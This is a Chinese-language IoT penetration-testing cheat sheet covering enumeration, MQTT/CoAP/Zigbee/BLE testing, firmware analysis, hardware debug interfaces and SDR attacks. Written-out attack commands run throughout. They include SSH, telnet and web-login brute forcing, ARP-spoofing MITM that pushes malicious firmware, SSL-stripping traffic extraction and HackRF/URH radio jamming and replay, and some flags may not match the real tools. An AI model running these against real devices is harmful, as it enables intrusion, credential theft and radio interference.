备忘单

枚举

扫描所有开放端口及运行服务:

nmap -Pn -sS -sV <target IP> -p 1-65535

枚举Web服务器目录文件:

dirb http://<target IP>:<port>/

枚举SNMP服务:

snmpwalk -c public -v1 <target IP>

HTTP

使用Curl发送请求:

curl -X GET http://target.com/
curl -X POST -d "data=example" http://target.com/

Wget下载文件:

wget http://target.com/file

Nikto Web扫描:

nikto -h target.com

MQTT

使用Mosquitto发布和订阅:

mosquitto_sub -t topic -h broker_address -p port -u username -P password
mosquitto_pub -t topic -h broker_address -p port -m "message" -u username -P password

CoAP

使用CoAPthon发送CoAP请求:

https://github.com/Tanganelli/CoAPthon

$ git clone https://github.com/Tanganelli/CoAPthon.git
$ cd CoAPthon
$ python setup.py sdist
$ sudo pip install dist/CoAPthon-4.0.2.tar.gz -r requirements.txt
python3 coapclient.py -m get -u coap://target.com/resource

WireShark捕获CoAP流量:

filter: coap

Zigbee

使用KillerBee嗅探并注入Zigbee流量:

sudo python3 -m pip install pyusb
sudo apt-get install libpcap-dev
sudo python3 -m pip install pyserial
sudo python3 -m pip install pycrypto
sudo python3 -m pip install killerbee
kb

WireShark捕获Zigbee流量:

filter: zbee

低功耗蓝牙(BLE)

使用BlueZ扫描并连接BLE设备:

sudo hcitool lescan
sudo hcitool lecc <mac_address>

使用Gattacker对BLE进行安全评估:

https://github.com/securing/gattacker

npm install gattacker

WireShark捕获BLE流量:

filter: btatt

暴力破解

hydra -L usernames.txt -P passwords.txt ssh://192.168.0.1
medusa -u admin -P /usr/share/wordlists/rockyou.txt -h 192.168.0.1 -M ssh
hydra -L userlist.txt -P passlist.txt -e ns -t 16 telnet://target_IP
hydra -l admin -P password_list.txt 192.168.1.1 http-post-form "/login.html:user=admin&password=^PASS^:Incorrect password"

HTTPS降级

sudo bettercap --proxy --sniffer -T 192.168.0.10,192.168.0.20 -X --tcp-proxy

更新机制利用

未经身份验证的固件更新:

curl -F "file=@malicious_firmware.bin" http://target_device/update

中间人:

arpspoof -i eth0 -t target_device_ip gateway_ip
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
mitmproxy -p 8080 -T --anticache -s "replace.py malicious_firmware.bin"

隐私保护不足

比如流量没有加密,导致攻击者可以捕获明文数据并分析敏感流量:

sudo tcpdump -i wlan0 -s 0 -w capture.pcap
#or
sudo bettercap -I wlan0 --proxy

不安全的数据传输和存储

通过中间人禁用SSL验证,从而导致攻击者可以拦截加密流量:

mitmproxy -T --host -R https://target_device.com/ --ssl-insecure -s extract_sensitive_data.py

固件分析

file <bin>  
strings  
strings -n5 <bin> 
strings -n16 <bin>#longer than 16
strings -tx <bin> #print offsets in hex 
binwalk <bin>  
hexdump -C -n 512 <bin> > hexdump.out  
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple

如果二进制文件被加密,可以使用以下命令来检查熵:

binwalk -E <bin>

提取文件系统内容:

binwalk -ev <bin>

固件分析工具:

  • EmbedOS

基于 Ubuntu 18.04 的嵌入式安全测试操作系统,预装了固件安全测试工具

https://github.com/scriptingxss/EmbedOS

  • EMBA

EMBA被设计为渗透测试人员和产品安全团队的中央固件分析工具。它支持完整的安全分析过程,从固件提取开始,通过仿真进行静态分析动态分析,最后生成网络报告。EMBA自动发现固件中可能的弱点和漏洞。例如不安全的二进制文件、旧的和过时的软件组件、潜在易受攻击的脚本或硬编码的密码。EMBA是一个命令行工具,可以生成易于使用的网络报告以进行进一步分析。

https://github.com/e-m-b-a/emba

sudo ./emba -l ~/log -f ~/firmware -p ./scan-profiles/default-scan.emba
  • Firmware Analysis Toolkit(FAT)

FAT 是一个工具包,旨在帮助安全研究人员分析和识别物联网和嵌入式设备固件中的漏洞

https://github.com/attify/firmware-analysis-toolkit

$ ./fat.py DIR890A1_FW103b07.bin --qemu 2.5.0

                               __           _
                              / _|         | |
                             | |_    __ _  | |_
                             |  _|  / _` | | __|
                             | |   | (_| | | |_
                             |_|    \__,_|  \__|

                Welcome to the Firmware Analysis Toolkit - v0.3
    Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
                  By Attify - https://attify.com  | @attifyme

[+] Firmware: DIR890A1_FW103b07.bin
[+] Extracting the firmware...
[+] Image ID: 2
[+] Identifying architecture...
[+] Architecture: armel
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: [('br0', '192.168.0.1'), ('br1', '192.168.7.1')]
[+] Using qemu-system-arm from /home/attify/firmware-analysis-toolkit/qemu-builds/2.5.0
[+] All set! Press ENTER to run the firmware...
[+] When running, press Ctrl + A X to terminate qemu

UART

UART 通常用于物联网设备上的调试和维护目的,但它也可用于访问设备并执行恶意代码。

screen /dev/ttyUSB0 115200 (connect to UART interface with baud rate of 115200)
cu -l /dev/ttyUSB0 -s 115200 (connect to UART interface with baud rate of 115200)

JTAG

JTAG是用于测试和调试集成电路的硬件接口。它还可用于访问固件并执行恶意代码。

OpenOCD -f interface/<interface> -f target/<target> (start OpenOCD using interface and target configuration files)

SWD

SWD 是 JTAG 的更新、更小、更快的版本,通常用于基于 ARM 的物联网设备。它还可用于访问固件并执行恶意代码。

OpenOCD -f interface/<interface> -c "transport select swd" -f target/<target> (start OpenOCD using interface and target configuration files)

SPI

  • 使用逻辑分析仪或示波器确定目标设备的 SPI 配置
  • 使用嗅探工具来嗅探目标设备与总线上其他设备之间的SPI流量(如Bus Pirate manual
  • 使用spi-toolsspidev等工具与SPI总线交互并向目标设备发送自定义命令
  • 查找可通过 SPI 总线发送的未经身份验证或容易猜测的命令,以修改设备行为或提取敏感信息
  • 使用故障注入攻击来诱发目标设备中的错误并提取敏感信息

I2C

  • 使用逻辑分析仪或示波器确定目标设备的I2C地址
  • 使用i2cDetect或i2c-tools等工具与 I2C 总线交互并向目标设备发送自定义命令
  • 查找可通过 I2C 总线发送的未经身份验证或容易猜测的命令,以修改设备行为或提取敏感信息
  • 使用 Bus PirateShikra 等工具来嗅探目标设备与总线上其他设备之间的 I2C 流量
  • 使用SDR执行EM旁道攻击并获取敏感信息

中程无线电

  • 嗅探

使用SDR捕获和分析无线电信号。常用的工具包括 GNU Radio、URH 和 Inspectrum

sudo apt-get install gnuradio urh
  • 干扰

干扰是一种拒绝服务攻击,它发送高功率信号来干扰目标设备的无线电信号。最常见的干扰工具是 HackRF One

sudo apt-get install hackrf
  • 重放

捕获有效信号并稍后重放以模仿合法设备

  • 注入

将数据包注入无线电信号以执行攻击。为此,可以使用 KillerBee 和 Scapy 等工具

sudo apt-get install killerbee scapy
  • 定向天线

用于针对特定设备或区域,从而更容易拦截或干扰信号

  • 跳频

一些物联网设备使用跳频来避免干扰。然而,可以通过捕获和分析跳频模式来预测设备接下来的位置来利用这一点

LPWAN

  • 嗅探和解码

使用SDR和工具来嗅探和解码 LPWAN 通信,如URHHackRF OneRTL-SDR

使用 HackRF One 进行嗅探:

hackrf_transfer -r filename.bin -f frequency -s sample_rate -g gain

使用 URH 解码捕获的信号:

urh --input-file filename.bin --modulation lora --rate [bandwidth] --frequency [frequency]
  • 重放

记录并重放捕获的数据包以触发物联网设备或网络上的事件

使用 HackRF One 传输记录的信号:

hackrf_transfer -t filename.bin -f frequency -s sample_rate -a 1 -x 40

使用 URH 将信号注入网络:

urh --input-file filename.bin --modulation lora --rate [bandwidth] --frequency [frequency] --tx
  • 干扰

在 LPWAN 频率上生成噪声,以破坏物联网设备和网络之间的通信

使用 HackRF One 传输噪声:

hackrf_transfer -t noise.bin -f frequency -s sample_rate -a 1 -x 40

使用 URH 生成随机信号:

urh --modulation lora --rate [bandwidth] --frequency [frequency] --tx --duration [time_in_seconds] --random-data

在附近频率上生成信号,造成干扰并影响 LPWAN 通信质量

使用 HackRF One 在附近的频率上传输信号:

hackrf_transfer -t filename.bin -f [nearby_frequency] -s sample_rate -a 1 -x 40

用 URH 生成多个频率的信号:

urh --modulation lora --rate [bandwidth] --frequency-range [start_frequency] [end_frequency] --tx --duration [time_in_seconds] --random-data